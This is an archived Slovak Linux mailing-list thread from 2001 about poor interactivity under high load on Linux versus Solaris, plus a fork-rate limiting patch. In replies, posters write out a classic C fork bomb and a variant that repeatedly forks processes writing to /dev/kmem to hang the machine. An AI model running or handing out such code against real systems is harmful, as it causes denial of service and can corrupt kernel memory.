[linux] uptime-critical average load
Robert Varga
nite na hq.alert.sk
Pondělí Listopad 19 12:33:54 CET 2001
pre pripad takho patchu:
#include <fcntl.h>
#include <unistd.h>
int main()
{
while (1) {
if (!fork()) {
int fd = open("/dev/kmem", O_RDWR);
write(fd, "haluz", 6);
}
sleep(1);
}
}
A po chvilke mas masinku zarvanu procesmi v D state. Chce to roota...
ale co je v dnesnoej dobe perfektne ? :-))
On Mon, 2001-11-19 at 10:15, Jan Dado wrote:
> Tak tak. Existuje jeden patch, ktory sa snazi najst procesy, ktore sa
> "blaznivo" forkuju, a da sa nastavit pocet forkov takehoto procesu /
> sekundu. Dokonca ho to moze killnut ako utecenca.
> Ale takato bomaba aku si napisal nizsie, taku to nezastavi, pochopitelne,
> len postupne bude killovat, a postupne budu vznikat - takze sa jej nevie
> zbavit, ale system zostane "ovladatelny"!
>
> J.
>
>
> > Klasicka fork() bomba je aj tak najlepsia :-)
> >
> > #include <unistd.h>
> >
> > int main()
> > {
> > while (1)
> > fork();
> > return 0;
> > }
> >
> >
> > On Fri, 2001-11-16 at 00:40, Ondrej Jombik wrote:
> > > Maxim, 00:28:50
> > > 16. november 2001 (piatok)
> > > Zdraviim!
> > >
> > > > Sun hovori, ze Solaris fici v pohode, pokial load neprekroci 4nasobok
> > > > poctu procesorov. A zo skusenosti fakt masina zostava velmi ovladatelna
> > > > (a ostava nou az do 30-40 nasobku poctu procesorov).
> > > > Linux az tak fajn nieje... load 3 na uniprocesore viac ako citit. A load
> > > > 20 hranici nulovou ovladatelnostou.
> > >
> > > Ano presne tak, Linux vo vysokom loade veru vela vody nenamuti.
> > > Hlavne vtedy, ked je ten load sposobeny znacnym mnozstvom I/O operacii.
> > >
> > > Na toto prisli aj vyvojari MySQL, ktori sa kvoli tomu uz nejaky ten
> > > vecer natrapili. Keby Ta zaujimal softver, ktorym posles svoj system do
> > > kolien (aby si si co to mohol doma v testovacich podmienkach vyskusat),
> > > nasurfujes ho na:
> > >
> > > http://www.mysql.com/Downloads/super-smack/super-smack-1.0.tar.gz
> > >
> > > =Nepto=
> > > ____________________________________________________________________________
> > > "Be conservative in what you do, be liberal in what you accept from others."
> > > (RFC 793: Transmission control protocol; chapter 2.10. Robustness Principle)
> > >
> > >
> > > _______________________________________________
> > > http://lists.linux.sk/listinfo/linux
> > > http://search.lists.linux.sk
> >
> >
> >
> > _______________________________________________
> > http://lists.linux.sk/listinfo/linux
> > http://search.lists.linux.sk
> >
>
>
> _______________________________________________
> http://lists.linux.sk/listinfo/linux
> http://search.lists.linux.sk
Další informace o konferenci linux